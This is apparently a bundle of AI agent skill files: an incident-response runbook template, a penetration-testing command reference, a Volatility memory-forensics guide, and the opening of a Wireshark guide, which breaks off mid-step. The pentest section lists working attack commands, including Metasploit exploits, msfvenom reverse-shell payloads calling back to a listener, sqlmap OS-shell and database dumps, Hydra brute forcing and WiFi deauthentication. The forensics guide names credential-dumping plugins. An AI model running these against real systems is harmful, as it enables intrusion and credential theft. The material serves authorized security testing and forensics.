@clawhub-solomonneas-65b0d825a2
Create structured incident response runbooks with step-by-step procedures, escalation paths, and recovery actions. Use when building runbooks, responding to...
---
name: incident-runbook-templates
description: Create structured incident response runbooks with step-by-step procedures, escalation paths, and recovery actions. Use when building runbooks, responding to incidents, or establishing incident response procedures.
---
# Incident Runbook Templates
Production-ready templates for incident response runbooks covering detection, triage, mitigation, resolution, and communication.
## Do not use this skill when
- The task is unrelated to incident runbook templates
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.
- Provide actionable steps and verification.
- If detailed examples are required, open `resources/implementation-playbook.md`.
## Use this skill when
- Creating incident response procedures
- Building service-specific runbooks
- Establishing escalation paths
- Documenting recovery procedures
- Responding to active incidents
- Onboarding on-call engineers
## Core Concepts
### 1. Incident Severity Levels
| Severity | Impact | Response Time | Example |
|----------|--------|---------------|---------|
| **SEV1** | Complete outage, data loss | 15 min | Production down |
| **SEV2** | Major degradation | 30 min | Critical feature broken |
| **SEV3** | Minor impact | 2 hours | Non-critical bug |
| **SEV4** | Minimal impact | Next business day | Cosmetic issue |
### 2. Runbook Structure
```
1. Overview & Impact
2. Detection & Alerts
3. Initial Triage
4. Mitigation Steps
5. Root Cause Investigation
6. Resolution Procedures
7. Verification & Rollback
8. Communication Templates
9. Escalation Matrix
```
## Runbook Templates
### Template 1: Service Outage Runbook
```markdown
# [Service Name] Outage Runbook
## Overview
**Service**: Payment Processing Service
**Owner**: Platform Team
**Slack**: #payments-incidents
**PagerDuty**: payments-oncall
## Impact Assessment
- [ ] Which customers are affected?
- [ ] What percentage of traffic is impacted?
- [ ] Are there financial implications?
- [ ] What's the blast radius?
## Detection
### Alerts
- `payment_error_rate > 5%` (PagerDuty)
- `payment_latency_p99 > 2s` (Slack)
- `payment_success_rate < 95%` (PagerDuty)
### Dashboards
- [Payment Service Dashboard](https://grafana/d/payments)
- [Error Tracking](https://sentry.io/payments)
- [Dependency Status](https://status.stripe.com)
## Initial Triage (First 5 Minutes)
### 1. Assess Scope
```bash
# Check service health
kubectl get pods -n payments -l app=payment-service
# Check recent deployments
kubectl rollout history deployment/payment-service -n payments
# Check error rates
curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))"
```
### 2. Quick Health Checks
- [ ] Can you reach the service? `curl -I https://api.company.com/payments/health`
- [ ] Database connectivity? Check connection pool metrics
- [ ] External dependencies? Check Stripe, bank API status
- [ ] Recent changes? Check deploy history
### 3. Initial Classification
| Symptom | Likely Cause | Go To Section |
|---------|--------------|---------------|
| All requests failing | Service down | Section 4.1 |
| High latency | Database/dependency | Section 4.2 |
| Partial failures | Code bug | Section 4.3 |
| Spike in errors | Traffic surge | Section 4.4 |
## Mitigation Procedures
### 4.1 Service Completely Down
```bash
# Step 1: Check pod status
kubectl get pods -n payments
# Step 2: If pods are crash-looping, check logs
kubectl logs -n payments -l app=payment-service --tail=100
# Step 3: Check recent deployments
kubectl rollout history deployment/payment-service -n payments
# Step 4: ROLLBACK if recent deploy is suspect
kubectl rollout undo deployment/payment-service -n payments
# Step 5: Scale up if resource constrained
kubectl scale deployment/payment-service -n payments --replicas=10
# Step 6: Verify recovery
kubectl rollout status deployment/payment-service -n payments
```
### 4.2 High Latency
```bash
# Step 1: Check database connections
kubectl exec -n payments deploy/payment-service -- \
curl localhost:8080/metrics | grep db_pool
# Step 2: Check slow queries (if DB issue)
psql -h $DB_HOST -U $DB_USER -c "
SELECT pid, now() - query_start AS duration, query
FROM pg_stat_activity
WHERE state = 'active' AND duration > interval '5 seconds'
ORDER BY duration DESC;"
# Step 3: Kill long-running queries if needed
psql -h $DB_HOST -U $DB_USER -c "SELECT pg_terminate_backend(pid);"
# Step 4: Check external dependency latency
curl -w "@curl-format.txt" -o /dev/null -s https://api.stripe.com/v1/health
# Step 5: Enable circuit breaker if dependency is slow
kubectl set env deployment/payment-service \
STRIPE_CIRCUIT_BREAKER_ENABLED=true -n payments
```
### 4.3 Partial Failures (Specific Errors)
```bash
# Step 1: Identify error pattern
kubectl logs -n payments -l app=payment-service --tail=500 | \
grep -i error | sort | uniq -c | sort -rn | head -20
# Step 2: Check error tracking
# Go to Sentry: https://sentry.io/payments
# Step 3: If specific endpoint, enable feature flag to disable
curl -X POST https://api.company.com/internal/feature-flags \
-d '{"flag": "DISABLE_PROBLEMATIC_FEATURE", "enabled": true}'
# Step 4: If data issue, check recent data changes
psql -h $DB_HOST -c "
SELECT * FROM audit_log
WHERE table_name = 'payment_methods'
AND created_at > now() - interval '1 hour';"
```
### 4.4 Traffic Surge
```bash
# Step 1: Check current request rate
kubectl top pods -n payments
# Step 2: Scale horizontally
kubectl scale deployment/payment-service -n payments --replicas=20
# Step 3: Enable rate limiting
kubectl set env deployment/payment-service \
RATE_LIMIT_ENABLED=true \
RATE_LIMIT_RPS=1000 -n payments
# Step 4: If attack, block suspicious IPs
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-suspicious
namespace: payments
spec:
podSelector:
matchLabels:
app: payment-service
ingress:
- from:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 192.168.1.0/24 # Suspicious range
EOF
```
## Verification Steps
```bash
# Verify service is healthy
curl -s https://api.company.com/payments/health | jq
# Verify error rate is back to normal
curl -s "http://prometheus:9090/api/v1/query?query=sum(rate(http_requests_total{status=~'5..'}[5m]))" | jq '.data.result[0].value[1]'
# Verify latency is acceptable
curl -s "http://prometheus:9090/api/v1/query?query=histogram_quantile(0.99,sum(rate(http_request_duration_seconds_bucket[5m]))by(le))" | jq
# Smoke test critical flows
./scripts/smoke-test-payments.sh
```
## Rollback Procedures
```bash
# Rollback Kubernetes deployment
kubectl rollout undo deployment/payment-service -n payments
# Rollback database migration (if applicable)
./scripts/db-rollback.sh $MIGRATION_VERSION
# Rollback feature flag
curl -X POST https://api.company.com/internal/feature-flags \
-d '{"flag": "NEW_PAYMENT_FLOW", "enabled": false}'
```
## Escalation Matrix
| Condition | Escalate To | Contact |
|-----------|-------------|---------|
| > 15 min unresolved SEV1 | Engineering Manager | @manager (Slack) |
| Data breach suspected | Security Team | #security-incidents |
| Financial impact > $10k | Finance + Legal | @finance-oncall |
| Customer communication needed | Support Lead | @support-lead |
## Communication Templates
### Initial Notification (Internal)
```
🚨 INCIDENT: Payment Service Degradation
Severity: SEV2
Status: Investigating
Impact: ~20% of payment requests failing
Start Time: [TIME]
Incident Commander: [NAME]
Current Actions:
- Investigating root cause
- Scaling up service
- Monitoring dashboards
Updates in #payments-incidents
```
### Status Update
```
📊 UPDATE: Payment Service Incident
Status: Mitigating
Impact: Reduced to ~5% failure rate
Duration: 25 minutes
Actions Taken:
- Rolled back deployment v2.3.4 → v2.3.3
- Scaled service from 5 → 10 replicas
Next Steps:
- Continuing to monitor
- Root cause analysis in progress
ETA to Resolution: ~15 minutes
```
### Resolution Notification
```
✅ RESOLVED: Payment Service Incident
Duration: 45 minutes
Impact: ~5,000 affected transactions
Root Cause: Memory leak in v2.3.4
Resolution:
- Rolled back to v2.3.3
- Transactions auto-retried successfully
Follow-up:
- Postmortem scheduled for [DATE]
- Bug fix in progress
```
```
### Template 2: Database Incident Runbook
```markdown
# Database Incident Runbook
## Quick Reference
| Issue | Command |
|-------|---------|
| Check connections | `SELECT count(*) FROM pg_stat_activity;` |
| Kill query | `SELECT pg_terminate_backend(pid);` |
| Check replication lag | `SELECT extract(epoch from (now() - pg_last_xact_replay_timestamp()));` |
| Check locks | `SELECT * FROM pg_locks WHERE NOT granted;` |
## Connection Pool Exhaustion
```sql
-- Check current connections
SELECT datname, usename, state, count(*)
FROM pg_stat_activity
GROUP BY datname, usename, state
ORDER BY count(*) DESC;
-- Identify long-running connections
SELECT pid, usename, datname, state, query_start, query
FROM pg_stat_activity
WHERE state != 'idle'
ORDER BY query_start;
-- Terminate idle connections
SELECT pg_terminate_backend(pid)
FROM pg_stat_activity
WHERE state = 'idle'
AND query_start < now() - interval '10 minutes';
```
## Replication Lag
```sql
-- Check lag on replica
SELECT
CASE
WHEN pg_last_wal_receive_lsn() = pg_last_wal_replay_lsn() THEN 0
ELSE extract(epoch from now() - pg_last_xact_replay_timestamp())
END AS lag_seconds;
-- If lag > 60s, consider:
-- 1. Check network between primary/replica
-- 2. Check replica disk I/O
-- 3. Consider failover if unrecoverable
```
## Disk Space Critical
```bash
# Check disk usage
df -h /var/lib/postgresql/data
# Find large tables
psql -c "SELECT relname, pg_size_pretty(pg_total_relation_size(relid))
FROM pg_catalog.pg_statio_user_tables
ORDER BY pg_total_relation_size(relid) DESC
LIMIT 10;"
# VACUUM to reclaim space
psql -c "VACUUM FULL large_table;"
# If emergency, delete old data or expand disk
```
```
## Best Practices
### Do's
- **Keep runbooks updated** - Review after every incident
- **Test runbooks regularly** - Game days, chaos engineering
- **Include rollback steps** - Always have an escape hatch
- **Document assumptions** - What must be true for steps to work
- **Link to dashboards** - Quick access during stress
### Don'ts
- **Don't assume knowledge** - Write for 3 AM brain
- **Don't skip verification** - Confirm each step worked
- **Don't forget communication** - Keep stakeholders informed
- **Don't work alone** - Escalate early
- **Don't skip postmortems** - Learn from every incident
## Resources
- [Google SRE Book - Incident Management](https://sre.google/sre-book/managing-incidents/)
- [PagerDuty Incident Response](https://response.pagerduty.com/)
- [Atlassian Incident Management](https://www.atlassian.com/incident-management)
This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "s...
--- name: Pentest Commands description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references. metadata: author: zebbern version: "1.1" --- # Pentest Commands ## Purpose Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments. ## Inputs/Prerequisites - Kali Linux or penetration testing distribution - Target IP addresses with authorization - Wordlists for brute forcing - Network access to target systems - Basic understanding of tool syntax ## Outputs/Deliverables - Network enumeration results - Identified vulnerabilities - Exploitation payloads - Cracked credentials - Web vulnerability findings ## Core Workflow ### 1. Nmap Commands **Host Discovery:** ```bash # Ping sweep nmap -sP 192.168.1.0/24 # List IPs without scanning nmap -sL 192.168.1.0/24 # Ping scan (host discovery) nmap -sn 192.168.1.0/24 ``` **Port Scanning:** ```bash # TCP SYN scan (stealth) nmap -sS 192.168.1.1 # Full TCP connect scan nmap -sT 192.168.1.1 # UDP scan nmap -sU 192.168.1.1 # All ports (1-65535) nmap -p- 192.168.1.1 # Specific ports nmap -p 22,80,443 192.168.1.1 ``` **Service Detection:** ```bash # Service versions nmap -sV 192.168.1.1 # OS detection nmap -O 192.168.1.1 # Comprehensive scan nmap -A 192.168.1.1 # Skip host discovery nmap -Pn 192.168.1.1 ``` **NSE Scripts:** ```bash # Vulnerability scan nmap --script vuln 192.168.1.1 # SMB enumeration nmap --script smb-enum-shares -p 445 192.168.1.1 # HTTP enumeration nmap --script http-enum -p 80 192.168.1.1 # Check EternalBlue nmap --script smb-vuln-ms17-010 192.168.1.1 # Check MS08-067 nmap --script smb-vuln-ms08-067 192.168.1.1 # SSH brute force nmap --script ssh-brute -p 22 192.168.1.1 # FTP anonymous nmap --script ftp-anon 192.168.1.1 # DNS brute force nmap --script dns-brute 192.168.1.1 # HTTP methods nmap -p80 --script http-methods 192.168.1.1 # HTTP headers nmap -p80 --script http-headers 192.168.1.1 # SQL injection check nmap --script http-sql-injection -p 80 192.168.1.1 ``` **Advanced Scans:** ```bash # Xmas scan nmap -sX 192.168.1.1 # ACK scan (firewall detection) nmap -sA 192.168.1.1 # Window scan nmap -sW 192.168.1.1 # Traceroute nmap --traceroute 192.168.1.1 ``` ### 2. Metasploit Commands **Basic Usage:** ```bash # Launch Metasploit msfconsole # Search for exploits search type:exploit name:smb # Use exploit use exploit/windows/smb/ms17_010_eternalblue # Show options show options # Set target set RHOST 192.168.1.1 # Set payload set PAYLOAD windows/meterpreter/reverse_tcp # Run exploit exploit ``` **Common Exploits:** ```bash # EternalBlue msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit" # MS08-067 (Conficker) msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit" # vsftpd backdoor msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit" # Shellshock msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit" # Drupalgeddon2 msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit" # PSExec msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit" ``` **Scanners:** ```bash # TCP port scan msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run" # SMB version scan msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run" # SMB share enumeration msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run" # SSH brute force msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # FTP brute force msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # RDP scanning msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run" ``` **Handler Setup:** ```bash # Multi-handler for reverse shells msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit" ``` **Payload Generation (msfvenom):** ```bash # Windows reverse shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe # Linux reverse shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf # PHP reverse shell msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php # ASP reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp # WAR file msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war # Python payload msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py ``` ### 3. Nikto Commands ```bash # Basic scan nikto -h http://192.168.1.1 # Comprehensive scan nikto -h http://192.168.1.1 -C all # Output to file nikto -h http://192.168.1.1 -output report.html # Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots nikto -h http://192.168.1.1 -Plugins shellshock nikto -h http://192.168.1.1 -Plugins heartbleed nikto -h http://192.168.1.1 -Plugins ssl # Export to Metasploit nikto -h http://192.168.1.1 -Format msf+ # Specific tuning nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only ``` ### 4. SQLMap Commands ```bash # Basic injection test sqlmap -u "http://192.168.1.1/page?id=1" # Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs # Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables # Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump # OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell # POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" # Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" # Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment # Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 ``` ### 5. Hydra Commands ```bash # SSH brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1 # FTP brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1 # HTTP POST form hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # HTTP Basic Auth hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/ # SMB brute force hydra -l admin -P passwords.txt smb://192.168.1.1 # RDP brute force hydra -l admin -P passwords.txt rdp://192.168.1.1 # MySQL brute force hydra -l root -P passwords.txt mysql://192.168.1.1 # Username list hydra -L users.txt -P passwords.txt ssh://192.168.1.1 ``` ### 6. John the Ripper Commands ```bash # Crack password file john hash.txt # Specify wordlist john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # Show cracked passwords john hash.txt --show # Specify format john hash.txt --format=raw-md5 john hash.txt --format=nt john hash.txt --format=sha512crypt # SSH key passphrase ssh2john id_rsa > ssh_hash.txt john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # ZIP password zip2john file.zip > zip_hash.txt john zip_hash.txt ``` ### 7. Aircrack-ng Commands ```bash # Monitor mode airmon-ng start wlan0 # Capture packets airodump-ng wlan0mon # Target specific network airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Deauth attack aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Crack WPA handshake aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap ``` ### 8. Wireshark/Tshark Commands ```bash # Capture traffic tshark -i eth0 -w capture.pcap # Read capture file tshark -r capture.pcap # Filter by protocol tshark -r capture.pcap -Y "http" # Filter by IP tshark -r capture.pcap -Y "ip.addr == 192.168.1.1" # Extract HTTP data tshark -r capture.pcap -Y "http" -T fields -e http.request.uri ``` ## Quick Reference ### Common Port Scans ```bash # Quick scan nmap -F 192.168.1.1 # Full comprehensive nmap -sV -sC -A -p- 192.168.1.1 # Fast with version nmap -sV -T4 192.168.1.1 ``` ### Password Hash Types | Mode | Type | |------|------| | 0 | MD5 | | 100 | SHA1 | | 1000 | NTLM | | 1800 | sha512crypt | | 3200 | bcrypt | | 13100 | Kerberoast | ## Constraints - Always have written authorization - Some scans are noisy and detectable - Brute forcing may lock accounts - Rate limiting affects tools ## Examples ### Example 1: Quick Vulnerability Scan ```bash nmap -sV --script vuln 192.168.1.1 ``` ### Example 2: Web App Test ```bash nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs ``` ## Troubleshooting | Issue | Solution | |-------|----------| | Scan too slow | Increase timing (-T4, -T5) | | Ports filtered | Try different scan types | | Exploit fails | Check target version compatibility | | Passwords not cracking | Try larger wordlists, rules |
Master memory forensics techniques including memory acquisition, process analysis, and artifact extraction using Volatility and related tools. Use when analy...
---
name: memory-forensics
description: Master memory forensics techniques including memory acquisition, process analysis, and artifact extraction using Volatility and related tools. Use when analyzing memory dumps, investigating incidents, or performing malware analysis from RAM captures.
---
# Memory Forensics
Comprehensive techniques for acquiring, analyzing, and extracting artifacts from memory dumps for incident response and malware analysis.
## Use this skill when
- Working on memory forensics tasks or workflows
- Needing guidance, best practices, or checklists for memory forensics
## Do not use this skill when
- The task is unrelated to memory forensics
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.
- Provide actionable steps and verification.
- If detailed examples are required, open `resources/implementation-playbook.md`.
## Memory Acquisition
### Live Acquisition Tools
#### Windows
```powershell
# WinPmem (Recommended)
winpmem_mini_x64.exe memory.raw
# DumpIt
DumpIt.exe
# Belkasoft RAM Capturer
# GUI-based, outputs raw format
# Magnet RAM Capture
# GUI-based, outputs raw format
```
#### Linux
```bash
# LiME (Linux Memory Extractor)
sudo insmod lime.ko "path=/tmp/memory.lime format=lime"
# /dev/mem (limited, requires permissions)
sudo dd if=/dev/mem of=memory.raw bs=1M
# /proc/kcore (ELF format)
sudo cp /proc/kcore memory.elf
```
#### macOS
```bash
# osxpmem
sudo ./osxpmem -o memory.raw
# MacQuisition (commercial)
```
### Virtual Machine Memory
```bash
# VMware: .vmem file is raw memory
cp vm.vmem memory.raw
# VirtualBox: Use debug console
vboxmanage debugvm "VMName" dumpvmcore --filename memory.elf
# QEMU
virsh dump <domain> memory.raw --memory-only
# Hyper-V
# Checkpoint contains memory state
```
## Volatility 3 Framework
### Installation and Setup
```bash
# Install Volatility 3
pip install volatility3
# Install symbol tables (Windows)
# Download from https://downloads.volatilityfoundation.org/volatility3/symbols/
# Basic usage
vol -f memory.raw <plugin>
# With symbol path
vol -f memory.raw -s /path/to/symbols windows.pslist
```
### Essential Plugins
#### Process Analysis
```bash
# List processes
vol -f memory.raw windows.pslist
# Process tree (parent-child relationships)
vol -f memory.raw windows.pstree
# Hidden process detection
vol -f memory.raw windows.psscan
# Process memory dumps
vol -f memory.raw windows.memmap --pid <PID> --dump
# Process environment variables
vol -f memory.raw windows.envars --pid <PID>
# Command line arguments
vol -f memory.raw windows.cmdline
```
#### Network Analysis
```bash
# Network connections
vol -f memory.raw windows.netscan
# Network connection state
vol -f memory.raw windows.netstat
```
#### DLL and Module Analysis
```bash
# Loaded DLLs per process
vol -f memory.raw windows.dlllist --pid <PID>
# Find hidden/injected DLLs
vol -f memory.raw windows.ldrmodules
# Kernel modules
vol -f memory.raw windows.modules
# Module dumps
vol -f memory.raw windows.moddump --pid <PID>
```
#### Memory Injection Detection
```bash
# Detect code injection
vol -f memory.raw windows.malfind
# VAD (Virtual Address Descriptor) analysis
vol -f memory.raw windows.vadinfo --pid <PID>
# Dump suspicious memory regions
vol -f memory.raw windows.vadyarascan --yara-rules rules.yar
```
#### Registry Analysis
```bash
# List registry hives
vol -f memory.raw windows.registry.hivelist
# Print registry key
vol -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"
# Dump registry hive
vol -f memory.raw windows.registry.hivescan --dump
```
#### File System Artifacts
```bash
# Scan for file objects
vol -f memory.raw windows.filescan
# Dump files from memory
vol -f memory.raw windows.dumpfiles --pid <PID>
# MFT analysis
vol -f memory.raw windows.mftscan
```
### Linux Analysis
```bash
# Process listing
vol -f memory.raw linux.pslist
# Process tree
vol -f memory.raw linux.pstree
# Bash history
vol -f memory.raw linux.bash
# Network connections
vol -f memory.raw linux.sockstat
# Loaded kernel modules
vol -f memory.raw linux.lsmod
# Mount points
vol -f memory.raw linux.mount
# Environment variables
vol -f memory.raw linux.envars
```
### macOS Analysis
```bash
# Process listing
vol -f memory.raw mac.pslist
# Process tree
vol -f memory.raw mac.pstree
# Network connections
vol -f memory.raw mac.netstat
# Kernel extensions
vol -f memory.raw mac.lsmod
```
## Analysis Workflows
### Malware Analysis Workflow
```bash
# 1. Initial process survey
vol -f memory.raw windows.pstree > processes.txt
vol -f memory.raw windows.pslist > pslist.txt
# 2. Network connections
vol -f memory.raw windows.netscan > network.txt
# 3. Detect injection
vol -f memory.raw windows.malfind > malfind.txt
# 4. Analyze suspicious processes
vol -f memory.raw windows.dlllist --pid <PID>
vol -f memory.raw windows.handles --pid <PID>
# 5. Dump suspicious executables
vol -f memory.raw windows.pslist --pid <PID> --dump
# 6. Extract strings from dumps
strings -a pid.<PID>.exe > strings.txt
# 7. YARA scanning
vol -f memory.raw windows.yarascan --yara-rules malware.yar
```
### Incident Response Workflow
```bash
# 1. Timeline of events
vol -f memory.raw windows.timeliner > timeline.csv
# 2. User activity
vol -f memory.raw windows.cmdline
vol -f memory.raw windows.consoles
# 3. Persistence mechanisms
vol -f memory.raw windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# 4. Services
vol -f memory.raw windows.svcscan
# 5. Scheduled tasks
vol -f memory.raw windows.scheduled_tasks
# 6. Recent files
vol -f memory.raw windows.filescan | grep -i "recent"
```
## Data Structures
### Windows Process Structures
```c
// EPROCESS (Executive Process)
typedef struct _EPROCESS {
KPROCESS Pcb; // Kernel process block
EX_PUSH_LOCK ProcessLock;
LARGE_INTEGER CreateTime;
LARGE_INTEGER ExitTime;
// ...
LIST_ENTRY ActiveProcessLinks; // Doubly-linked list
ULONG_PTR UniqueProcessId; // PID
// ...
PEB* Peb; // Process Environment Block
// ...
} EPROCESS;
// PEB (Process Environment Block)
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged; // Anti-debug check
// ...
PVOID ImageBaseAddress; // Base address of executable
PPEB_LDR_DATA Ldr; // Loader data (DLL list)
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
// ...
} PEB;
```
### VAD (Virtual Address Descriptor)
```c
typedef struct _MMVAD {
MMVAD_SHORT Core;
union {
ULONG LongFlags;
MMVAD_FLAGS VadFlags;
} u;
// ...
PVOID FirstPrototypePte;
PVOID LastContiguousPte;
// ...
PFILE_OBJECT FileObject;
} MMVAD;
// Memory protection flags
#define PAGE_EXECUTE 0x10
#define PAGE_EXECUTE_READ 0x20
#define PAGE_EXECUTE_READWRITE 0x40
#define PAGE_EXECUTE_WRITECOPY 0x80
```
## Detection Patterns
### Process Injection Indicators
```python
# Malfind indicators
# - PAGE_EXECUTE_READWRITE protection (suspicious)
# - MZ header in non-image VAD region
# - Shellcode patterns at allocation start
# Common injection techniques
# 1. Classic DLL Injection
# - VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
# 2. Process Hollowing
# - CreateProcess (SUSPENDED) + NtUnmapViewOfSection + WriteProcessMemory
# 3. APC Injection
# - QueueUserAPC targeting alertable threads
# 4. Thread Execution Hijacking
# - SuspendThread + SetThreadContext + ResumeThread
```
### Rootkit Detection
```bash
# Compare process lists
vol -f memory.raw windows.pslist > pslist.txt
vol -f memory.raw windows.psscan > psscan.txt
diff pslist.txt psscan.txt # Hidden processes
# Check for DKOM (Direct Kernel Object Manipulation)
vol -f memory.raw windows.callbacks
# Detect hooked functions
vol -f memory.raw windows.ssdt # System Service Descriptor Table
# Driver analysis
vol -f memory.raw windows.driverscan
vol -f memory.raw windows.driverirp
```
### Credential Extraction
```bash
# Dump hashes (requires hivelist first)
vol -f memory.raw windows.hashdump
# LSA secrets
vol -f memory.raw windows.lsadump
# Cached domain credentials
vol -f memory.raw windows.cachedump
# Mimikatz-style extraction
# Requires specific plugins/tools
```
## YARA Integration
### Writing Memory YARA Rules
```yara
rule Suspicious_Injection
{
meta:
description = "Detects common injection shellcode"
strings:
// Common shellcode patterns
$mz = { 4D 5A }
$shellcode1 = { 55 8B EC 83 EC } // Function prologue
$api_hash = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 } // Push hash, call
condition:
$mz at 0 or any of ($shellcode*)
}
rule Cobalt_Strike_Beacon
{
meta:
description = "Detects Cobalt Strike beacon in memory"
strings:
$config = { 00 01 00 01 00 02 }
$sleep = "sleeptime"
$beacon = "%s (admin)" wide
condition:
2 of them
}
```
### Scanning Memory
```bash
# Scan all process memory
vol -f memory.raw windows.yarascan --yara-rules rules.yar
# Scan specific process
vol -f memory.raw windows.yarascan --yara-rules rules.yar --pid 1234
# Scan kernel memory
vol -f memory.raw windows.yarascan --yara-rules rules.yar --kernel
```
## String Analysis
### Extracting Strings
```bash
# Basic string extraction
strings -a memory.raw > all_strings.txt
# Unicode strings
strings -el memory.raw >> all_strings.txt
# Targeted extraction from process dump
vol -f memory.raw windows.memmap --pid 1234 --dump
strings -a pid.1234.dmp > process_strings.txt
# Pattern matching
grep -E "(https?://|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})" all_strings.txt
```
### FLOSS for Obfuscated Strings
```bash
# FLOSS extracts obfuscated strings
floss malware.exe > floss_output.txt
# From memory dump
floss pid.1234.dmp
```
## Best Practices
### Acquisition Best Practices
1. **Minimize footprint**: Use lightweight acquisition tools
2. **Document everything**: Record time, tool, and hash of capture
3. **Verify integrity**: Hash memory dump immediately after capture
4. **Chain of custody**: Maintain proper forensic handling
### Analysis Best Practices
1. **Start broad**: Get overview before deep diving
2. **Cross-reference**: Use multiple plugins for same data
3. **Timeline correlation**: Correlate memory findings with disk/network
4. **Document findings**: Keep detailed notes and screenshots
5. **Validate results**: Verify findings through multiple methods
### Common Pitfalls
- **Stale data**: Memory is volatile, analyze promptly
- **Incomplete dumps**: Verify dump size matches expected RAM
- **Symbol issues**: Ensure correct symbol files for OS version
- **Smear**: Memory may change during acquisition
- **Encryption**: Some data may be encrypted in memory
This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow...
--- name: Wireshark Network Traffic Analysis description: This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark. metadata: author: zebbern version: "1.1" --- # Wireshark Network Traffic Analysis ## Purpose Execute comprehensive network traffic analysis using Wireshark to capture, filter, and examine network packets for security investigations, performance optimization, and troubleshooting. This skill enables systematic analysis of network protocols, detection of anomalies, and reconstruction of network conversations from PCAP files. ## Inputs / Prerequisites ### Required Tools - Wireshark installed (Windows, macOS, or Linux) - Network interface with capture permissions - PCAP/PCAPNG files for offline analysis - Administrator/root privileges for live capture ### Technical Requirements - Understanding of network protocols (TCP, UDP, HTTP, DNS) - Familiarity with IP addressing and ports - Knowledge of OSI model layers - Understanding of common attack patterns ### Use Cases - Network troubleshooting and connectivity issues - Security incident investigation - Malware traffic analysis - Performance monitoring and optimization - Protocol learning and education ## Outputs / Deliverables ### Primary Outputs - Filtered packet captures for specific traffic - Reconstructed communication streams - Traffic statistics and visualizations - Evidence documentation for incidents ## Core Workflow ### Phase 1: Capturing Network Traffic #### Start Live Capture Begin capturing packets on network interface: ``` 1. Launch Wireshark 2. Select network interface from main screen 3. Click shark fin icon or double-click 